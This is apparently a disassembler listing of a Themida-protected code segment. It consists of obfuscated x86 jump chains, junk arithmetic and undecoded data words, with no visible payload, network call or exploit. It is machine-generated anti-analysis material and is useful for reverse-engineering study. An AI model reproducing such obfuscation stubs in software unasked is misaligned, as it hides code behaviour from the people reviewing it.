		dd 0C8D62D5h, 3B512540h, 0D8F73A0Fh, 962C9F05h,	0F36AE92Ah
		dd 0FF54FFFFh, 815A2434h, 4C4h,	4C28100h, 50000000h, 0FE76DDB8h
		dd 0E0D14841h, 514B4805h, 39043501h, 0C201854Eh, 24148758h
		dd 0E924248Bh, 0FFFF9DC6h, 88502CB7h, 0E9E288FCh, 47E0h
		dd 0E9241C87h, 0FFFFC2C2h, 0BAh, 4EC8300h, 89243C89h, 0E9F889D7h
		dd 534Dh, 5C243C87h, 83241C89h,	0C8904ECh, 0B924h, 0E9510000h
		dd 0FFFFCF68h, 5C241433h, 4BB53h, 0E9510000h, 54Fh, 0FEBDh
		dd 1C6F2100h, 0F160E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549EEE:				; CODE XREF: Themida_:0054B7ADj
		xor	[esp], eax
		jmp	loc_54DE8E
; ---------------------------------------------------------------------------


loc_549EF6:				; CODE XREF: Themida_:0054CF28j
		jz	loc_54AF9E
		push	dword ptr [edi+1Ch]
		add	dword ptr [esp], 2594151Eh
		pop	ecx
		sub	esp, 4
		mov	[esp], esi
		push	edx
		push	75A0h
		mov	[esp], esi
		jmp	loc_54B1CF
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 517CBD24h, 0E801794Ah, 83242C8Bh, 0D82904C4h, 4A517C2Dh
		dd 6E150579h, 0B9510127h, 509F370Bh, 0D6AC181h,	0BD55CA8Fh
		dd 4E527A51h, 0BE56h, 0AEE90000h, 8BFFFFB9h, 0C6E92424h
		dd 100004Ah, 9989E9C2h,	34FFFFFFh, 0E281E924h, 148BFFFFh
		dd 538AE924h, 39050000h, 219ECBDBh, 0D4E958C6h
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549F83:				; CODE XREF: Themida_:0054F0AFj
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_54B645
; ---------------------------------------------------------------------------
		dd 5701EB83h, 62CA3FBFh, 5FFB312Ch, 15C368h, 24048900h
		dd 0FFC1AFE9h, 51E589FFh, 4B9h,	0E9CD0100h, 0FFFFE932h
		dd 0D2C3E959h, 8525FFFFh, 0C112B82Ch, 0E95305E8h, 0FFFFB6F0h
		dd 148BD000h, 4C48124h,	30000000h, 3B0DE9C3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_549FDA:				; CODE XREF: Themida_:0054D60Cj
		pop	esp
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp]
		pop	eax
		jmp	loc_548B5E
; ---------------------------------------------------------------------------
		db 29h,	0D6h, 0E9h
		dd 18A1h, 5724348Bh, 51E9E789h,	5FFFFFDBh, 4315BD55h, 0EB01F179h
		dd 5BD8295Dh, 25D368h, 1C2BE900h, 0B7530000h, 0BFADE987h
		dd 0C381FFFFh, 21DB4C0Eh, 6B73BE56h, 0C68107CBh, 4D82C936h
		dd 815EF331h, 7CE922F3h, 5BDF3190h, 0E7C1D7F7h,	1C78306h
		dd 0E905EFC1h, 0FFFFB2CCh, 413D89BDh, 5DEE312Eh, 81DEF74Eh
		dd 78BBADF6h, 0B266E9EEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A062:				; CODE XREF: Themida_:005448B9j
		inc	ebx
		and	ebx, 0A6A004Eh
		neg	ebx
		add	ebx, 3BF72E99h
		dec	ebx
		add	ebx, 42E2E321h
		add	eax, ebx
		jmp	loc_5449BB
; ---------------------------------------------------------------------------
		db 5Eh
		dd offset dword_4E0BD8+511h
		dd 12EE8000h, 2021EE80h, 0FC32E9F3h, 0F66FFFFh,	686602B6h
		dd 89661C19h, 0C2E92404h, 0F7FFFF90h, 0F2E952DAh, 81000035h
		dd 2E67D6C1h, 4E1C17Ch,	73CF181h, 0F181563Ch, 5FC6B6ADh
		dd 0AE9C829h, 53000029h, 0E92414F7h, 0FFFFFCF2h, 0FF9090E9h
		dd 81CA01FFh, 3E0CEAh, 0EA83594Dh, 24143302h, 33241431h
		dd 4DE92414h, 68000040h, 65D7h,	57240C89h, 0B951E789h
		dd 4, 0C8BCF01h, 4C48324h, 4EF81h, 3C870000h, 39A7E924h
		dd 0E9810000h, 0EDEBF204h, 4BB3EB81h, 0CB01260Ah, 4BB3C381h
		dd 0C8B260Ah, 4C48124h,	83000000h, 78E902C3h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A13B:				; CODE XREF: Themida_:0054F065j
		or	edx, eax
		jmp	loc_5469A1
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48124h, 83000000h,	48702C0h, 0F665C24h, 9C2404B3h
		dd 0FF9008E9h, 4C483FFh, 0E7E95355h, 8B00003Ch,	0CE92434h
		dd 0E9FFFFEFh, 0FFFF8FF1h, 3004C483h, 0C0B60FC3h, 818734FFh
		dd 73962404h, 48B0288h,	3F5EE924h, 0C890000h, 64426824h
		dd 0C890000h, 2474FF24h, 4BFAE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54A1A2:				; CODE XREF: Themida_:0054D56Fj
		mov	edi, 69071A45h
		or	edi, 53F041AAh
		push	esi
		jmp	loc_54A6CC
; ---------------------------------------------------------------------------
		db 57h
		dd 88148ABFh, 5FF80112h, 1758BD55h, 0ED81317Fh,	15C106BCh
		dd 8108E5C1h, 0E05123EDh, 5DE80161h, 0DD2DF801h, 2D5C304Ah
		dd 1288148Ah, 34FF088Bh, 89525824h, 4C281E2h, 50000000h
		dd 0FF9BADE9h, 0CA295FFFh, 74FF5259h, 4DE90424h, 0B800000Bh
		dd 4, 0C2E9C201h, 0BE000039h, 6DC25CFEh, 4B92EE81h, 0EE812A9Dh
		dd 22681168h, 43CFE946h, 0E2C10000h, 0CFC28104h, 817F6E20h
		dd 0B18583C2h, 2EBB5362h, 2947AD03h, 0D0015BD8h, 0AD032E05h
		dd 55505A47h, 0FFEA08E9h, 2BAFFh, 0D0290000h, 2404335Ah
		dd 33240431h, 248B2404h, 14896624h, 4744E924h, 0ABBF0000h
		dd 313D7D10h, 0F100E9FDh, 0EB81FFFFh, 6FBB3CECh, 0C381D329h
		dd 6FBB3CECh, 0FF9B98E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A289:				; CODE XREF: Themida_:0054DE89j
		sub	esi, 74AD735Fh
		add	esi, edx
		add	esi, 74AD735Fh
		sub	esi, 41BE2416h
		pop	edx
		jmp	loc_54C6CC
; ---------------------------------------------------------------------------
		db 8Fh
		dd 4832404h, 0E5E90424h, 8100004Eh, 28BFB2F1h, 50F4E92Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54A2BA:				; CODE XREF: Themida_:00545452j
		xor	edi, 4C1A0118h
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_54DF7F
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48124h, 0E9000000h, 0FFFF9B53h, 81240C8Bh,	4C4h, 0DAB4E900h
		dd 0F700FFFFh, 0CFFE5A66h, 0B7535066h, 5BF888ABh, 5866C700h
		dd 1C8BF828h, 4C48324h,	5250C330h, 0FFBA68E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A315:				; CODE XREF: Themida_:0054538Dj
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_54EA2E
; ---------------------------------------------------------------------------
		db 0BBh, 0D2h, 72h
		dd 77E91670h, 66000020h, 661AC168h, 661B8B68h, 66242489h
		dd 2240481h, 48F6600h, 2EC8124h, 66000000h, 66240C89h
		dd 0D9BF6657h, 0C781666Bh, 506651A0h, 4289B866h, 66C70166h
		dd 0E9576658h, 0A8Ah, 9E95153h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A373:				; CODE XREF: Themida_:005440F7j
		mov	[esp], edx
		jmp	loc_54C48A
; ---------------------------------------------------------------------------
		db 89h
		dd 4C281E2h, 81000000h,	4C2h, 24143300h, 33241431h, 565C2414h
		dd 1229E954h, 0F7520000h, 148B2414h, 0E7895724h, 4C781h
		dd 0C7810000h, 4, 5C243C87h, 0FFABB5E9h, 0EBBD55FFh, 0C10B232Dh
		dd 0ED8102E5h, 1B217241h, 1F44CD81h, 0F581408Dh, 4A713FA3h
		dd 0E95DEF09h, 0FFFFC4B5h
; ---------------------------------------------------------------------------


loc_54A3DC:				; CODE XREF: Themida_:005497CDj
		add	esp, 4
		add	esp, 4
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5469CA
; ---------------------------------------------------------------------------


loc_54A3F3:				; CODE XREF: Themida_:0054DAA9j
		xchg	dh, bl
		xor	dh, bh
		xor	bh, dh
		xor	dh, bh
		push	dx
		mov	dh, bh
		not	dh
		mov	bh, dh
		pop	dx
		xchg	bh, dh
		xchg	dh, bl
		inc	bl
		jmp	loc_545CD8
; ---------------------------------------------------------------------------


loc_54A410:				; CODE XREF: Themida_:00547766j
		mov	ebp, ecx
		pop	ecx
		jmp	loc_54A5C2
; ---------------------------------------------------------------------------
		dd 5C242C87h, 0BA241489h, 67207801h, 77FDEA81h,	0ADE96720h
		dd 0B9FFFFDCh, 6C897C42h, 2572E941h, 26E90000h,	8BFFFF8Dh
		dd 0B2E9241Ch, 0FFFFFF8Eh, 34FF2434h, 240C8B24h, 5104C483h
		dd 0C181E189h, 4, 4C181h, 60E90000h, 8BFFFFD0h,	18E92404h
		dd 8BFFFFC3h, 89572414h, 0A1E1E9E7h, 0E3C0FFFFh, 0C8DBE906h
		dd 0EC81FFFFh, 4, 83240489h, 646804ECh,	0E900001Ah, 0FFFFB154h
		dd 791BF7BDh, 58C53158h, 4183E9h, 4EC8100h, 89000000h
		dd 0E389241Ch, 4C381h, 0BA520000h, 20FB6B33h, 0FFD2C1E9h
		dd 243489FFh, 231963BEh, 76E94E0Dh, 81FFFFA8h, 7B452434h
		dd 44E914E3h, 6800003Bh, 387712A4h, 0C1DBF75Bh,	0E3C103EBh
		dd 6EBC105h, 13E95143h,	6800003Ch, 57FC3080h, 685Ah, 2C810000h
		dd 8D22EC24h, 2414293Eh, 0FF980BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A50D:				; CODE XREF: Themida_:00545B97j
		mov	edx, 1C282CABh
		jmp	loc_543DD5
; ---------------------------------------------------------------------------


loc_54A517:				; CODE XREF: Themida_:005496FFj
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	7C2Dh
		mov	[esp], ecx
		push	ebx
		mov	ebx, 5B8F2569h
		or	ebx, 65097192h
		and	ebx, 223812A5h
		push	7C67h
		mov	[esp], edx
		jmp	loc_54B6F4
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 574191F6h, 3DE68118h, 52068F54h, 4E7839BAh, 49C28152h
		dd 297CF626h, 0BDE95AD6h, 8BFFFFEAh, 89502424h,	405E0h
		dd 0C0830000h, 24048704h, 2434FF5Ch, 0FFF882E9h, 78C281FFh
		dd 815F8304h, 9241DAEAh, 0E9D301C5h, 0FFFFCD21h, 0CD4704BDh
		dd 58C58132h, 8109FB45h, 0BD9EEFC5h, 5DEB0130h,	2BC0E9h
		dd 0E9FC8800h, 3F00h, 2E6ADEB9h, 45F1E968h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54A5C2:				; CODE XREF: Themida_:0054A413j
		sub	[edi+24h], ebp
		jmp	loc_54D326
; ---------------------------------------------------------------------------
		dw 0E941h
		dd 0FFFFCBD8h, 2684C181h, 0CE013F6Eh, 83240C8Bh, 0BA5204C4h
		dd 2, 0FF9269E9h, 4C483FFh, 4C781h, 0EF810000h,	4, 31243C33h
		dd 3C33243Ch, 4895C24h,	48B5424h, 4C48124h, 5000000h, 4
		dd 0FFD5FCE9h, 2434FFFFh, 0FF9F35E9h, 4C481FFh,	8F000000h
		dd 0AEE92404h, 1FFFFC9h, 17A605D0h, 0D0E971A2h,	66000030h
		dd 0E924048Bh, 0FFFF8EEEh, 0EF03A2BDh, 41F5814Eh, 293B2C23h
		dd 242C8BE8h, 3504C483h, 8D1CEF60h, 5DADC681h, 0FE9066Ch
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A667:				; CODE XREF: Themida_:0054ADA3j
		pop	ecx
		jmp	loc_544902
; ---------------------------------------------------------------------------


loc_54A66D:				; CODE XREF: Themida_:00549C47j
		add	esp, 4
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 0FDC36A4h
		and	ecx, 2956069Eh
		jmp	loc_546499
; ---------------------------------------------------------------------------
		db 5Bh
		dd 2EC81h, 89660000h, 3AB1240Ch, 0FFEF6EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A6A1:				; CODE XREF: Themida_:0054422Aj
		mov	ecx, [esp]
		add	esp, 4
		shr	eax, 0Eh
		jmp	loc_54E305
; ---------------------------------------------------------------------------
aI4Ics		db '4$#',0
		db 0
; ---------------------------------------------------------------------------


loc_54A6B9:				; CODE XREF: Themida_:00546621j
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		pop	eax
		push	edx
		push	eax
		push	edi
		mov	edi, 4EB21930h
		jmp	loc_54CB9B
; ---------------------------------------------------------------------------


loc_54A6CC:				; CODE XREF: Themida_:0054A1AEj
		mov	esi, 5243D6Bh
		sub	edi, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5440E9
; ---------------------------------------------------------------------------


loc_54A6E1:				; CODE XREF: Themida_:005455CDj
		push	eax
		mov	eax, 4
		add	esi, eax
		jmp	loc_54AAB5
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 2C895C24h, 4BD24h, 0EDE90000h, 52000030h, 0D789DA89h
		dd 2434FF5Ah, 3BE6E9h, 4A30F00h, 4EE99C24h
		db 8Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A717:				; CODE XREF: Themida_:00544F60j
		mov	[esp], ebx
		push	edi
		mov	edi, 7FF5089Ch
		jmp	loc_544D77
; ---------------------------------------------------------------------------


loc_54A725:				; CODE XREF: Themida_:00547C10j
		shl	edx, 1
		push	ebx
		push	7AB5h
		push	esp
		pop	dword ptr [esp]
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		jmp	loc_545997
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 58000000h, 26FFE9h, 4C48100h, 68000000h, 2455h, 0BF243C89h
		dd 43D334A7h, 7036F781h, 0F7816E0Dh, 3255233Bh,	3C8BF929h
		dd 409DE924h, 0C6810000h, 4, 4C681h, 34870000h,	0CFF5C24h
		dd 0D6E99C24h, 8AFFFF89h, 8802247Ch, 66022444h,	0FD885158h
		dd 8852D5F6h, 5AD788EAh, 8B2434FFh, 0C483240Ch,	0E7895704h
		dd 4C781h, 0B8500000h, 2DB97FF9h, 19C8E9h, 1CD8BA00h, 0E2C12CA1h
		dd 0AB0BE904h, 0BF57FFFFh, 42FC2E42h, 0E95FF989h, 0FFFFD240h
		dd 0C281DAF7h, 0B1ACAA6Eh, 5AA0C181h, 1E93BF9h,	0FFFFFFD8h
		dd 0A4E92434h, 0E900000Ch, 0FFFF8969h, 12B7BA52h, 0D2E92B7Fh
		dd 0BDFFFFA2h, 6D6C2578h, 665ACD81h, 0F5812DF1h, 16135755h
		dd 4711EE81h, 0EE2937A1h, 4711C681h, 1FE937A1h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A82B:				; CODE XREF: Themida_:0054C6C7j
		mov	ebx, [esp]
		add	esp, 4
		pop	eax
		jmp	loc_545CC0
; ---------------------------------------------------------------------------
		dw 405h
		dd 83000000h, 48702C0h,	966EE924h, 5A5EFFFFh, 3A7DF281h
		dd 0D7893179h, 0B015E95Ah, 30ACFFFFh, 0E2B353D8h, 0C04AF380h
		dd 0B05008E3h, 2F99E936h, 0EC810000h, 4, 0B9240C89h, 3AB71627h
		dd 4244C29h, 45DDE9h
		db 0
; ---------------------------------------------------------------------------


loc_54A885:				; CODE XREF: Themida_:00549DF1j
		pop	ebp
		jmp	loc_54BFA4
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0E99C241Ch, 0FFFF88D1h, 89242C89h, 4C581E5h,	52000000h
		dd 4BAh, 5AD50100h, 0FFCEC7E9h,	243489FFh, 5AE9E689h, 8B00003Bh
		dd 0C4832414h, 0BE565004h, 53A01A6Dh, 51662AB8h, 5EF029C2h
		dd 3196E9h
		db 0
; ---------------------------------------------------------------------------


loc_54A8D1:				; CODE XREF: Themida_:00545B7Aj
		xor	dword ptr [esp], 280915CCh
		pop	edi
		xor	edi, 280915CCh
		pop	ebx
		add	ebp, 81910C4h
		jmp	loc_543A49
; ---------------------------------------------------------------------------


loc_54A8EB:				; CODE XREF: Themida_:00546F21j
		not	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_5493E4
; ---------------------------------------------------------------------------
		db 0BBh, 27h, 60h
		dd 0EBC15A8Ch, 1685105h, 0E9FD2B9Dh, 22Eh, 7EB951ADh, 494BF674h
		dd 6BC0B850h, 0D0F731D1h, 0DF044C25h, 68D0F70Dh, 151Ch
		dd 0FFC462E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A939:				; CODE XREF: Themida_:00549A7Ej
		mov	eax, 67A6183Ch
		neg	eax
		neg	eax
		add	eax, 0D0C44E0Ch
		jmp	loc_54DBE7
; ---------------------------------------------------------------------------
		dd 5204C483h, 0D689FA89h, 0FFED35E9h, 24248BFFh, 89242C89h
		dd 0A191E9E5h, 0D3F6FFFFh, 0FF93F2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A96D:				; CODE XREF: Themida_:00545DB6j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5448F1
; ---------------------------------------------------------------------------
a13S		db '1<$3<$',0
		dw 0Bh
		dw 6800h
		dd 7F43h, 68242C89h, 481Bh, 68243C89h, 50C55FABh, 0E947475Fh
		dd 2037h, 6AE468h, 240C8900h, 5655E189h, 4BEh, 5EF58900h
		dd 5B62C181h, 0C1816ACAh, 68876C31h, 0F3E9E901h, 51FFFFEFh
		dd 300E9h, 1C875C00h, 24248B24h, 0FF878CE9h, 240C33FFh
		dd 1F8BE9h, 0E9536600h,	0FFFFBE47h
; ---------------------------------------------------------------------------


loc_54A9E8:				; CODE XREF: Themida_:0054C061j
		mov	esi, 61434685h
		neg	esi
		not	esi
		push	edi
		mov	edi, 1CA472C5h
		jmp	loc_543456
; ---------------------------------------------------------------------------
		dd 0FFC0B60Fh, 5EE98734h, 89FFFF87h, 405E0h, 4050000h
		dd 87000000h, 4D5C2404h, 46F2C581h, 0EF314D2Ah,	0FFF8215Dh
		dd 815F2434h, 4C4h, 8E8C100h, 9668C831h, 0E9000026h, 16EFh
		dd 66F03058h, 5324148Bh, 0C3815B54h, 4,	941E9h,	24048100h
		dd 4, 8124048Bh, 4C4h, 40500h, 2050000h, 87000000h, 248B2404h
		dd 48B6624h, 0CE95224h,	88000039h, 0AFE953FDh, 89000044h
		dd 0EC81242Ch, 4, 0E9242489h, 0FFFFB91Bh, 0BE243489h, 549B0C2Ah
		dd 0D5E9F029h, 66FFFFAFh, 2096B353h, 1C8B66DDh,	2C48324h
		dd 0FFC7A6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54AAB5:				; CODE XREF: Themida_:0054A6E9j
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_54C609
; ---------------------------------------------------------------------------


loc_54AAC9:				; CODE XREF: Themida_:00546645j
		add	eax, 296370CCh
		sub	eax, ecx
		sub	eax, 296370CCh
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_54BCCE
; ---------------------------------------------------------------------------


loc_54AADE:				; CODE XREF: Themida_:0054C3A1j
		add	edx, 630A5DE4h
		add	edx, 6E5A39DDh
		jmp	loc_543165
; ---------------------------------------------------------------------------
		db 56h
		dd 160268h, 8C15E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54AAFA:				; CODE XREF: Themida_:00547C56j
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_547A33
; ---------------------------------------------------------------------------
		dw 8950h
		dd 8BC389C8h, 89532404h, 4C381E3h, 81000000h, 4C3h, 241C8700h
		dd 240C8B5Ch, 3730E9h, 3C15BA00h, 48E977E1h, 8F000024h
		dd 861FE902h, 159FFFFh,	0D80159CBh, 0B770E95Bh,	0F368FFFFh
		dd 8900005Fh, 0F4E92434h, 5FFFFFCEh, 0FF9F1EE9h, 696268FFh
		dd 815A50CFh, 39426AE2h, 66F2812Ah, 89000940h, 0D982E9D6h
		dd 0C281FFFFh, 4, 4C281h, 0A9E90000h
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54AB8F:				; CODE XREF: Themida_:005469A5j
		mov	eax, esp
		push	ecx
		mov	ecx, 4
		add	eax, 19733968h
		jmp	loc_544346
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 8124048Bh, 4C4h, 24348B00h, 0E904C483h, 1BBh, 4BD55h
		dd 0E9010000h, 0B850565Dh, 598C6918h, 4658C689h, 0D101C683h
		dd 4E953E6h, 55FFFFF9h,	456C4FBDh, 14BB5327h, 0E928CE1Ah
		dd 0FFFF8DECh
; ---------------------------------------------------------------------------


loc_54ABE8:				; CODE XREF: Themida_:00547F7Cj
		mov	[esp], eax
		mov	eax, 24h
		push	ecx
		jmp	loc_549A38
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 0FFFFC41Eh, 9FE9CB29h, 0BD00000Fh, 751E4D0Eh, 0FFCF6BE9h
		dd 534DBDFFh, 0E5C12FE5h, 0F8C58107h, 292FF0AAh, 242C8BEAh
		dd 0E904C483h, 3049h, 0E9243C8Bh, 0FFFF95C1h, 3C8BF801h
		dd 4C48124h, 87000000h,	665C2404h, 9C240409h, 0E94E9h
		dd 245C0100h, 246C8104h, 6974ED04h, 241C8B28h, 5E04C483h
		dd 3ACD68h, 243C8900h, 18F0E952h, 0F6E90000h, 0B2FFFF84h
		dd 0FF80E9EDh, 8B66FFFFh, 4468240Ch, 89000033h,	58542404h
		dd 707E68h, 243C8900h, 302BB0BFh, 4E7C116h, 0FFA2DDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54AC99:				; CODE XREF: Themida_:00544868j
		mov	[esp], ecx
		mov	ecx, 0DC0963DAh
		xor	ebp, ecx
		mov	ecx, [esp]
		jmp	loc_54675E
; ---------------------------------------------------------------------------
		db 56h
		dd 1BF68h, 24048900h, 0E7A90B8h, 58C6894Ah, 1EE81h, 0B9510000h
		dd 64AB4687h, 0FFC4E9E9h, 2414F6FFh, 0FFD66EE9h, 0F7F781FFh
		dd 53008F76h, 1D301BBBh, 5BDF212Ch, 0DC7BA52h, 0DAF74C1Ah
		dd 175CC281h, 0D7290C42h, 0F71E95Ah, 148B0000h,	4E95024h
		dd 33FFFFFDh, 34312434h, 24343324h, 0A30F665Ch,	0E99C2404h
		dd 0FFFF844Dh, 8904EC83h, 0F3E92424h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		sub	esp, 4
		jmp	loc_54B132
; ---------------------------------------------------------------------------


loc_54AD43:				; CODE XREF: Themida_:0054BD81j
		not	dword ptr [esp]
		jmp	loc_54775F
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF8415h, 0B7B3E95Ah, 0C501FFFFh, 242C8758h, 0FFF80AE9h
		dd 40558FFh, 55000000h,	65CE6856h, 56E94C09h, 81FFFFCFh
		dd 4ECh, 0E73EE900h, 15DFFFFh, 0D1015FFAh, 0FFF1E5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54AD89:				; CODE XREF: Themida_:0054C294j
		xor	eax, 1CF223B5h
		jmp	loc_54AE9D
; ---------------------------------------------------------------------------
aBB		db '',0Dh,'b',0
		dd 83C7E937h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54AD9E:				; CODE XREF: Themida_:005487E7j
		xor	ch, 4Ah
		sub	al, ch
		jmp	loc_54A667
; ---------------------------------------------------------------------------
		dd 5B2434FFh, 4C481h, 0E9570000h, 0FFFFDDE3h
; ---------------------------------------------------------------------------


loc_54ADB8:				; CODE XREF: Themida_:005462EFj
		mov	eax, 22B136A6h
		shl	eax, 2
		shr	eax, 1
		dec	eax
		shr	eax, 6
		xor	eax, 7DEAF0CCh
		mov	edi, eax
		pop	eax
		xor	edi, 21FB53D0h
		jmp	loc_54CA97
; ---------------------------------------------------------------------------


loc_54ADD9:				; CODE XREF: Themida_:005455BFj
		add	esp, 4
		jmp	loc_54C287
; ---------------------------------------------------------------------------
		db 24h,	96h, 0F6h
		dd 2CAA2CD8h, 0C460E9E4h, 0E2C0FFFFh, 0EB9FE906h, 8166FFFFh
		dd 1C7B2404h, 0FFBD2CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54AE01:				; CODE XREF: Themida_:00543C9Ej
		xor	ebx, 0C84E45h
		or	eax, ebx
		pop	ebx
		jmp	loc_548E77
; ---------------------------------------------------------------------------
		db 29h
		dd 43542DF0h, 2D5E0E7Bh, 1AC74752h, 0E924348Bh,	45F4h
		dd 73F968h, 243C8900h, 942C5EBFh, 0F7814F36h, 768F612Ah
		dd 0FFDE22E9h, 34FF5CFFh, 240C8B24h, 8104C483h,	4ECh, 7B8E900h
		dd 0EA200000h, 0E9506659h, 8B8h, 89243489h, 4C681E6h, 83000000h
		dd 6EE904C6h, 8900003Dh, 0CFF241Ch, 2414F724h, 21F3815Bh
		dd 0E97DF674h, 248Ah, 0E952F101h, 0FFFFE7EDh
; ---------------------------------------------------------------------------


loc_54AE8C:				; CODE XREF: Themida_:0054C57Aj
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_54F06A
; ---------------------------------------------------------------------------
aYs6		db 'Y-6',0
		db 0
; ---------------------------------------------------------------------------


loc_54AE9D:				; CODE XREF: Themida_:0054AD8Ej
		inc	eax
		add	eax, 0E80FE44Eh
		jmp	loc_5448C5
; ---------------------------------------------------------------------------
		dd 52BB535Dh, 0E914025Fh, 4374h, 840FC909h, 0FFFFAB5Bh
		dd 299168h, 48F5400h, 42EA6824h, 1C890000h, 1A685024h
		dd 89000041h, 0E9522434h, 0FFFFFC89h
; ---------------------------------------------------------------------------


loc_54AEDC:				; CODE XREF: Themida_:0054C886j
		push	3C47h
		mov	[esp], ebp
		mov	ebp, 197733FEh
		sub	ebp, 0BE8ADE43h
		jmp	loc_54B098
; ---------------------------------------------------------------------------


loc_54AEF4:				; CODE XREF: Themida_:0054DCB8j
		pop	ecx
		add	al, 0F1h
		sub	al, bl
		jmp	loc_54E368
; ---------------------------------------------------------------------------
aS1HH		db '',0Ah
		db '1h',0Dh,'h',0
		align 4
		dd 0E9240489h, 0FFFFBBCEh, 5604C483h, 42474FFh,	24048F5Eh
		dd 0D224248Bh, 0E99C242Ch, 0FFFF823Dh, 240C8B66h, 0C1DDE957h
		dd 1C8BFFFFh, 70DB6824h, 34890000h, 81E68924h, 4C6h, 4C68100h
		dd 87000000h, 525C2434h, 0FFBB5AE9h, 4C483FFh, 0E9243C33h
		dd 0FFFFFA18h
; ---------------------------------------------------------------------------


loc_54AF60:				; CODE XREF: Themida_:00548D85j
		sub	ebx, 4C465E7Fh
		inc	ebx
		add	ebx, 1396342Fh
		add	edx, ebx
		pop	ebx
		push	esi
		push	22CCh
		mov	[esp], edx
		mov	edx, 6B965307h
		or	edx, 9824854h
		neg	edx
		sub	edx, 9469A4A5h
		mov	esi, edx
		pop	edx
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp


loc_54AF9E:				; CODE XREF: Themida_:loc_549EF6j
		push	4A27h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		push	edi
		mov	edi, 5AEC55BBh
		mov	ecx, edi
		pop	edi
		jmp	loc_54C872
; ---------------------------------------------------------------------------
		dw 0E952h
		dd 1440h
; ---------------------------------------------------------------------------


loc_54AFC0:				; CODE XREF: Themida_:0054D567j
		push	eax
		mov	eax, 0CD67B60h
		dec	eax
		and	eax, 433D56A1h
		and	eax, 698E062Fh
		jmp	loc_545DBB
; ---------------------------------------------------------------------------
		dw 6659h
		dd 2414F650h, 0C2C5866h, 0CAE9C188h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54AFE7:				; CODE XREF: Themida_:00549CFAj
		xchg	ecx, edx
		not	edx
		and	edx, 4AFE1ACAh
		jmp	loc_54DE7D
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 0DB3FE924h, 0C481FFFFh, 4, 0E902C683h, 0FFFFE859h, 405E089h
		dd 0E9000000h, 2AD8h
; ---------------------------------------------------------------------------


loc_54B018:				; CODE XREF: Themida_:0054EB32j
		sub	ebp, ecx
		pop	ecx
		sub	ebp, 60BB3BA6h
		or	ebp, 6837CA5h
		push	eax
		mov	eax, 22141F01h
		and	eax, 2B3342B0h
		shl	eax, 4
		inc	eax
		dec	eax
		add	eax, 0A0DBFACh
		add	ebp, eax
		pop	eax
		mov	ecx, ebp
		pop	ebp
		jmp	loc_54457B
; ---------------------------------------------------------------------------
		db 87h
		dd 248B243Ch, 0D1C20924h, 0D5F5E9E2h, 2D48FFFFh, 0C17BC553h
